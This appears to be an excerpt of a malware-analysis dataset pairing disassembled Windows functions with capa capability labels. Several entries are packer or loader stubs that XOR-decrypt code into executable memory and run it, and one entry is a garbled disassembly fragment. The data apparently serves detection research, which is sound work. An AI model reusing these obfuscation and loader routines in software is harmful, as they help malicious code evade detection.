joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4099ec
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], ebx
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x409abf
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x409ad8
push ebx
push 0x409ae4
push esi
lea eax, [ebp - 4]
mov edx, 4
call fcn.004033b4
lea eax, [ebp - 0x48]
xor ecx, ecx
mov edx, 0x44
call fcn.0040277c
mov dword [ebp - 0x48], 0x44
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x48]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00403414
push eax
push 0
call sub.kernel32.dll_CreateProcessA
test eax, eax
jne 0x409a6c
mov al, 0x6a
call fcn.00409648
mov eax, dword [ebp - 0x54]
push eax
call sub.kernel32.dll_CloseHandle_1
call fcn.004099c0
push 0xff
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x58]
push eax
push 1
call sub.user32.dll_MsgWaitForMultipleObjects
dec eax
je 0x409a75
call fcn.004099c0
push edi
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_GetExitCodeProcess
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x409ac6
lea eax, [ebp - 4]
call fcn.00403198
ret

Function at 0x409b78
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffbc
mov edi, eax
lea esi, [esp + 0x28]
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_GetSystemInfo
mov ebx, edi
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x409c2c
jmp 0x409c21
cmp dword [esi + 0x10], 0x1000
jne 0x409c0d
test byte [esi + 0x15], 1
jne 0x409c0d
xor ebx, ebx
mov eax, dword [esi + 0x14]
cmp eax, 1
je 0x409bcc
cmp eax, 2
je 0x409bcc
cmp eax, 0x10
je 0x409bcc
cmp eax, 0x20
jne 0x409be1
push esp
push 0x40
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x409be1
mov bl, 1
xor ebp, ebp
jmp 0x409bf2
mov eax, dword [esi]
add eax, ebp
call fcn.00409b70
add ebp, dword [esp + 8]
cmp ebp, dword [esi + 0xc]
jb 0x409be5
test bl, bl
je 0x409c0d
push esp
mov eax, dword [esp + 4]
push eax
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
mov eax, dword [esi]
add eax, dword [esi + 0xc]
mov ebx, eax
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x409c2c
mov eax, dword [esi + 4]
cmp eax, edi
je 0x409ba4
add esp, 0x44
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x405330
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
mov eax, section.sect_0
call 0x405330
lcall 0x5de5, 0x8b10c483
jmp loc.01bfc0c4
Function at 0x405980
Capabilities:
Encode data using xor
Write file on windows

Disassembly:
push ebp
call dword [sym.imp.MSVCRT.dll_rand]
test al, 3
jne 0x405a00
mov eax, dword [esp + 8]
push 0x40870c
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov ebp, eax
add esp, 8
test ebp, ebp
je 0x405a00
push ebx
push esi
push edi
mov ecx, 0x40d
mov esi, 0x408820
mov edi, 0x42e058
rep movsd dword es:[edi], dword [esi]
xor eax, eax
mov ecx, 0x54321cba
mov bl, byte [eax + 0x42e058]
mov edx, ecx
sar edx, 0x17
xor bl, dl
add ecx, 0x1234567f
mov byte [eax + 0x42e058], bl
inc eax
cmp eax, 0x1034
jb 0x4059bf
push ebp
push 0x1034
push 1
push 0x42e058
call dword [sym.imp.MSVCRT.dll_fwrite]
push ebp
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 0x14
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
pop eax
nop
nop
nop
nop
nop
nop
add eax, 0x403d6f
sub eax, 0x403d15
nop
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
nop
jl 0x430030
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
jne 0x43001e
nop
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp loc.00401219
Function at 0x401000
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x58
push ebp
mov ebp, dword [esp + 0x60]
push esi
xor esi, esi
cmp ebp, 2
mov dword [esp + 8], esi
jge 0x40106e
push 0xfffffffffffffff6
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileType]
cmp eax, 2
jne 0x401047
mov eax, dword [esp + 0x68]
mov ecx, dword [eax]
mov edx, dword [section..data]
push esi
push ecx
push edx
push esi
call dword [sym.imp.USER32.dll_MessageBoxA]
lea eax, [esi + 1]
pop esi
pop ebp
add esp, 0x58
ret
mov eax, dword [section..data]
push eax
push str.Internal_popen_error___no_args_specified_n_s_n
call fcn.00401563
add eax, 0x20
push eax
call fcn.00401447
add esp, 0xc
pop esi
mov eax, 1
pop ebp
add esp, 0x58
ret
push ebx
mov ebx, dword [esp + 0x6c]
mov ecx, 1
cmp ebp, ecx
push edi
jle 0x401098
lea ecx, [ecx]
mov eax, dword [ebx + ecx*4]
lea edi, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x401086
sub eax, edi
inc ecx
cmp ecx, ebp
lea esi, [esi + eax*2 + 3]
jl 0x401080
inc esi
push esi
call fcn.0040137d
mov esi, eax
add esp, 4
mov dword [esp + 0x6c], esi
test esi, esi
jne 0x4010b7
pop edi
pop ebx
pop esi
or eax, 0xffffffff
pop ebp
add esp, 0x58
ret
mov edi, 1
cmp ebp, edi
jle 0x40110a
mov ecx, dword [ebx + edi*4]
push 0x20
push ecx
call fcn.00401270
add esp, 8
neg eax
sbb eax, eax
neg eax
je 0x4010da
mov byte [esi], 0x22
inc esi
mov ecx, dword [ebx + edi*4]
mov dl, byte [ecx]
test dl, dl
je 0x4010f9
cmp dl, 0x22
jne 0x4010ec
mov byte [esi], 0x5c
inc esi
movzx edx, byte [ecx]
inc ecx
mov byte [esi], dl
mov dl, byte [ecx]
inc esi
test dl, dl
jne 0x4010e3
test eax, eax
je 0x401101
mov byte [esi], 0x22
inc esi
mov byte [esi], 0x20
inc edi
inc esi
cmp edi, ebp
jl 0x4010c0
push 0x44
lea eax, [esp + 0x28]
push 0
push eax
mov byte [esi], 0
call fcn.00401720
mov esi, dword [sym.imp.KERNEL32.dll_GetStdHandle]
add esp, 0xc
push 0xfffffffffffffff6
mov dword [esp + 0x28], 0x44
mov dword [esp + 0x54], 0x100
call esi
push 0xfffffffffffffff5
mov dword [esp + 0x60], eax
call esi
push 0xfffffffffffffff4
mov dword [esp + 0x64], eax
call esi
mov edi, dword [esp + 0x6c]
lea ecx, [esp + 0x14]
push ecx
lea edx, [esp + 0x28]
push edx
push 0
push 0
push 0
push 1
push 0
push 0
push edi
push 0
mov dword [esp + 0x8c], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push edi
mov esi, eax
call fcn.004011d0
add esp, 4
test esi, esi
je 0x4011c3
mov eax, dword [esp + 0x14]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0xffffffff
je 0x4011a3
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x10]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov eax, dword [esp + 0x14]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call esi
mov ecx, dword [esp + 0x18]
push ecx
call esi
mov eax, dword [esp + 0x10]
pop edi
pop ebx
pop esi
pop ebp
add esp, 0x58
ret
pop edi
pop ebx
pop esi
mov eax, 1
pop ebp
add esp, 0x58
ret

Function at 0x405435
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40c650]
jne 0x40543f
repz ret
jmp fcn.00407f5f
Function at 0x405ac6
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00404a96
and dword [ebp - 4], 0
cmp dword [0x40d518], 0
mov ebx, eax
jne 0x405b77
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x405c28
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40a9c8
push edi
call esi
test eax, eax
je 0x405c28
push eax
call fcn.00404a24
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x40d518], eax
call esi
push eax
call fcn.00404a24
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x40d51c], eax
call esi
push eax
call fcn.00404a24
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x40d520], eax
call esi
push eax
call fcn.00404a24
pop ecx
mov dword [0x40d528], eax
test eax, eax
je 0x405b77
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00404a24
pop ecx
mov dword [0x40d524], eax
mov eax, dword [0x40d524]
cmp eax, ebx
je 0x405bcf
cmp dword [0x40d528], ebx
je 0x405bcf
push eax
call fcn.00404a9f
push dword [0x40d528]
mov esi, eax
call fcn.00404a9f
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x405bcf
test edi, edi
je 0x405bcf
call esi
test eax, eax
je 0x405bc6
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x405bc6
test byte [ebp - 0xc], 1
jne 0x405bcf
or dword [ebp + 0x10], 0x200000
jmp 0x405c08
mov eax, dword [0x40d51c]
cmp eax, ebx
je 0x405c08
push eax
call fcn.00404a9f
pop ecx
test eax, eax
je 0x405c08
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x405c08
mov eax, dword [0x40d520]
cmp eax, ebx
je 0x405c08
push eax
call fcn.00404a9f
pop ecx
test eax, eax
je 0x405c08
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x40d518]
call fcn.00404a9f
pop ecx
test eax, eax
je 0x405c28
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x405c2a
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x433003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
push 4
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
nop
je 0x433072
mov ebx, 0x40de38
nop
nop
nop
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0xb40d20
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x433060
nop
mov eax, section..data
nop
cmp eax, 0
nop
nop
nop
nop
nop
nop
nop
je 0x4330d2
mov ebx, 0x4304d8
nop
nop
nop
nop
nop
mov ecx, ebx
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
push eax
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
div edi
nop
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x2758649f
nop
nop
nop
nop
nop
xor dword [eax], esi
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x4330c0
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x408923
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x408932
pop dword [ebp - 0x50]
mov eax, 0x408932
sub dword [ebp - 0x50], eax
mov dword [ebp - 0x60], 0x79d7ef9d
add dword [ebp - 0x60], 0xd47a55ae
mov dword [ebp - 0x5c], 0xfbb924f2
add dword [ebp - 0x5c], 0x367a2753
mov dword [ebp - 0x58], 0x59290802
sub dword [ebp - 0x58], 0xcdcc3d4
mov dword [ebp - 0x54], 0xfd0c9cbc
add dword [ebp - 0x54], 0x2f36344
lea eax, [ebp - 0x60]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x50]
call dword [eax]
mov dword [ebp - 0x60], 0x518c2a90
add dword [ebp - 0x60], 0x22e63ec6
mov dword [ebp - 0x5c], 0xa392b4b2
sub dword [ebp - 0x5c], 0x6226533d
mov dword [ebp - 0x58], 0x10e520f4
sub dword [ebp - 0x58], 0xad75b488
mov dword [ebp - 0x54], 0x98c8ed7a
sub dword [ebp - 0x54], 0x98c8ed7a
lea ebx, [ebp - 0x60]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x50]
call dword [eax]
push 0x40
push 0x1000
push 0x3664f
push 0
call eax
mov ecx, 0x3e41
xor edi, edi
add edi, eax
mov esi, 0x43be00
add esi, dword [ebp - 0x50]
mov ebx, 0x5fa7e93f
sub ebx, 0x22ea2
xor dword [ebp - 8], esi
mov edx, dword [esi]
add dword [ebp - 0x14], 0x9a3c13ee
xor edx, ebx
xor dword [ebp - 0x18], ecx
mov dword [edi], edx
sub dword [ebp - 4], ebx
add edi, 4
add esi, 0x60ccd541
sub esi, 0x60ccd53d
loop 0x408a3b
add eax, 0x81e8f198
add eax, 0x7e17fa3f
xor ebx, ebx
add ebx, eax
add eax, 0x2bb87f24
add eax, 0xd44780e1
mov ecx, 0x400000
add ecx, dword [ebp - 0x50]
call ebx
leave
ret
Function at 0x401a24
Capabilities:
Clear file content
Get common file path
Get keyboard layout

Disassembly:
sub esp, 0x400
push esi
push edi
xor esi, esi
xor edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomA]
cmp edi, 0x58ced85
jg 0x401a48
inc edi
cmp edi, 0x1f6502b1
jl 0x401a30
cmp dword [0x2be7a9c], 0x400
jne 0x401a9d
push str.gacaxavu_nitalozoxoxideligasozitosucanuzi_razoxuce_hihuwadozosasazipojapena_jam
push str.cuvolixu
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push esi
push esi
call dword [sym.imp.USER32.dll_DdeKeepStringHandle]
push esi
call dword [sym.imp.USER32.dll_GetKeyboardLayoutNameW]
push esi
push 0x4341a8
call fcn.004020b2
push esi
push esi
push esi
call fcn.00402098
push esi
push esi
call fcn.00401eb4
push esi
call fcn.004022a7
push esi
call fcn.004022b6
add esp, 0x24
xor edi, edi
cmp edi, 0xd0fe
jge 0x401aae
push esi
call dword [sym.imp.USER32.dll_GetCaretPos]
push esi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
cmp edi, 0x3a37ee
jg 0x401ad5
inc edi
cmp edi, 0xe52f
jl 0x401a9f
mov eax, dword [0x4292d4]
mov dword [0x2be7a9c], eax
call fcn.00401763
mov edi, 0x3078f
cmp dword [0x2be7a9c], 0x51f
jne 0x401b01
push esi
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
dec edi
jne 0x401ae9
pop edi
xor eax, eax
pop esi
add esp, 0x400
ret 0x10

Function at 0x40800d
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x428410]
jne 0x408017
repz ret
jmp fcn.0040aa50
Function at 0x40907f
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x428410]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00405736
and dword [ebp - 0x14], 0
cmp dword [0x433e68], 0
mov dword [ebp - 0x18], eax
jne 0x409132
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x4091da
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x4091da
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x433e68], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x433e6c], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x433e70], eax
call edi
push eax
call esi
mov dword [0x433e78], eax
test eax, eax
je 0x409132
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x433e74], eax
mov eax, dword [0x433e74]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x40918b
cmp dword [0x433e78], ecx
je 0x40918b
push eax
call esi
push dword [0x433e78]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x40918b
test ebx, ebx
je 0x40918b
call edi
test eax, eax
je 0x409182
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x409182
test byte [ebp - 8], 1
jne 0x40918b
or dword [ebp + 0x10], 0x200000
jmp 0x4091be
mov eax, dword [0x433e6c]
cmp eax, dword [ebp - 0x18]
je 0x4091be
push eax
call esi
test eax, eax
je 0x4091be
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x4091be
mov eax, dword [0x433e70]
cmp eax, dword [ebp - 0x18]
je 0x4091be
push eax
call esi
test eax, eax
je 0x4091be
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x433e68]
call esi
test eax, eax
je 0x4091da
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x4091dc
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040800d
leave
ret
Function at 0x10dd5f0
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
mov eax, dword [0x10e34cc]
cmp dword [eax + 0x28], 0
jne 0x10dd608
xor eax, eax
jmp 0x10dd737
mov ecx, dword [0x10e343c]
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x20]
add edx, 0xe
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 4]
mov dword [0x10e3430], ecx
mov edx, dword [ebp - 4]
mov eax, dword [edx + 8]
mov dword [0x10e342c], eax
push 0
call dword [0x10e1138]
mov dword [ebp - 0x10], eax
push 1
call dword [0x10e1138]
mov dword [ebp - 0x18], eax
mov ecx, dword [0x10e3430]
mov dword [ebp - 0x40], ecx
mov edx, dword [0x10e342c]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x40]
shr eax, 1
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x18]
sub ecx, dword [ebp - 8]
shr ecx, 1
mov dword [ebp - 0x1c], ecx
push 0
mov edx, dword [0x10e34b8]
push edx
push 0
push 0
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 0x40]
push ecx
mov edx, dword [ebp - 0x1c]
push edx
mov eax, dword [ebp - 0x14]
push eax
push SysReAllocStringLen
push 0x10e1680
push 0x10e16d0
push 0x88
call dword [0x10e1134]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
mov dword [0x10e3428], ecx
mov edx, dword [ebp - 0xc]
push edx
call dword [0x10e110c]
push eax
call fcn.010dd530
push 5
mov eax, dword [ebp - 0xc]
push eax
call dword [0x10e1148]
mov ecx, dword [ebp - 0xc]
push ecx
call dword [0x10e112c]
push 0x10dd5c0
mov edx, dword [0x10e34cc]
mov eax, dword [edx + 0x34]
imul eax, eax, 0x3e8
push eax
push 0
push 0
call dword [0x10e113c]
mov dword [0x10e3434], eax
push 1
push 0
push 0
push 0
lea ecx, [ebp - 0x3c]
push ecx
call dword [0x10e1130]
test eax, eax
je 0x10dd737
cmp dword [ebp - 0x38], 0x12
jne 0x10dd72b
mov dword [0x10e3444], 0
call fcn.010dd740
xor eax, eax
jmp 0x10dd737
lea edx, [ebp - 0x3c]
push edx
call dword [0x10e1140]
jmp 0x10dd6fc
mov esp, ebp
pop ebp
ret 4

Function at 0x10deb00
Capabilities:
Read .ini file
Read and send data from client to server
Send data
Send data on socket
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ebp
mov dword [ebp], 0
add ebp, 4
mov dword [ebp], 0
add ebp, 4
mov dword [ebp], 0
add ebp, 4
mov dword [ebp], 0
add ebp, 4
mov dword [ebp], 0
add ebp, 4
mov dword [ebp], 0
pop ebp
mov eax, dword [ebp + 8]
push eax
call dword [fcn.010e10dc]
call dword [fcn.010e1124]
call dword [fcn.010e1128]
call dword [fcn.010e1094]
call dword [fcn.010e10fc]
call dword [fcn.010e10f4]
call dword [fcn.010e1150]
call dword [fcn.010e100c]
call dword [fcn.010e1000]
call dword [fcn.010e1160]
call fcn.010e0644
mov eax, 1
pop ebp
ret 4
Function at 0x10df69c
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
pushal
mov esi, dword [esp + 0x24]
mov ecx, dword [esp + 0x28]
mov edi, 0x10e1168
sub eax, eax
test esi, esi
je 0x10df774
sub eax, 1
test ecx, ecx
je 0x10df772
test esi, 3
je 0x10df6da
xor al, byte [esi]
inc esi
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
dec ecx
jne 0x10df6bf
mov edx, ecx
and edx, 7
shr ecx, 3
je 0x10df759
xor eax, dword [esi]
add esi, 4
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
xor eax, dword [esi]
add esi, 4
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
dec ecx
jne 0x10df6e4
mov ecx, edx
test ecx, ecx
je 0x10df772
xor al, byte [esi]
inc esi
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
dec ecx
jne 0x10df75f
not eax
mov dword [esp + 0x1c], eax
popal
ret

Function at 0x10df77c
Capabilities:
Decompress data using aplib

Disassembly:
pushal
mov esi, dword [esp + 0x24]
mov edi, dword [esp + 0x28]
cld
mov dl, 0x80
xor ebx, ebx
movsb byte es:[edi], byte [esi]
mov bl, 2
call fcn.010df7ff
jae 0x10df78a
xor ecx, ecx
call fcn.010df7ff
jae 0x10df7b9
xor eax, eax
call fcn.010df7ff
jae 0x10df7c9
mov bl, 2
inc ecx
mov al, 0x10
call fcn.010df7ff
adc al, al
jae 0x10df7ab
jne 0x10df7f5
stosb byte es:[edi], al
jmp 0x10df78d
call fcn.010df80b
sub ecx, ebx
jne 0x10df7d2
call fcn.010df809
jmp 0x10df7f1
lodsb al, byte [esi]
shr eax, 1
je 0x10df81b
adc ecx, ecx
jmp 0x10df7ee
xchg ecx, eax
dec eax
shl eax, 8
lodsb al, byte [esi]
call fcn.010df809
cmp eax, 0x7d00
jae 0x10df7ee
cmp ah, 5
jae 0x10df7ef
cmp eax, 0x7f
ja 0x10df7f0
inc ecx
inc ecx
xchg ebp, eax
mov eax, ebp
mov bl, 1
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x10df78d
sub edi, dword [esp + 0x28]
mov dword [esp + 0x1c], edi
popal
ret

Function at 0x10e014c
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10e3000]
jne 0x10e0156
repz ret
jmp fcn.010e03fd
Function at 0x78b5a007
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x78b5a016
pop dword [ebp - 0xc]
mov eax, 0x5f97396a
add eax, 0x191e66ac
sub dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], 0x35dbcadd
add dword [ebp - 0x1c], 0x18767a6e
mov dword [ebp - 0x18], 0xbf7c0a58
add dword [ebp - 0x18], 0x72b741ed
mov dword [ebp - 0x14], 0xb78eb78d
add dword [ebp - 0x14], 0x94bd8ca1
mov dword [ebp - 0x10], 0x7bde5a43
add dword [ebp - 0x10], 0x8421a5bd
lea eax, [ebp - 0x1c]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0xc]
call dword [eax]
mov dword [ebp - 0x1c], 0xe0197f9e
sub dword [ebp - 0x1c], 0x6ba71648
mov dword [ebp - 0x18], 0x28b058fb
add dword [ebp - 0x18], 0x18bc087a
mov dword [ebp - 0x14], 0xce0fb5d9
add dword [ebp - 0x14], 0x955fb693
mov dword [ebp - 0x10], 0x56851628
sub dword [ebp - 0x10], 0x56851628
lea ebx, [ebp - 0x1c]
push ebx
push eax
mov eax, 0x84b257cd
sub eax, 0xbfd475d
add eax, dword [ebp - 0xc]
call dword [eax]
push 0x40
push 0x1000
push 0x3cff6
push 0
call eax
mov ecx, 0xad9574c8
sub ecx, 0xad953370
mov ebx, eax
mov edi, 0xf2eb6098
add edi, 0x85ccbf68
add edi, dword [ebp - 0xc]
mov edx, 0x5855bc82
sub edx, 0xbd70e491
sub dword [ebp - 4], ebx
mov esi, dword [edi]
mov dword [ebp - 8], 0x6ed1aad4
xor esi, edx
xor dword [ebp - 8], 0x69633023
mov dword [ebx], esi
xor dword [ebp - 4], 0x339294ac
add ebx, 0x204785f3
sub ebx, 0x204785ef
add edi, 0x185636ca
sub edi, 0x185636c6
loop 0x78b5a133
add eax, 0xf833
mov ebx, eax
add eax, 5
mov ecx, 0x164b7db3
sub ecx, 0x9d967db3
add ecx, dword [ebp - 0xc]
call ebx
leave
ret

Function at 0x78b6d35d
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x78b7b310]
jne 0x78b6d367
repz ret
jmp fcn.78b6ed18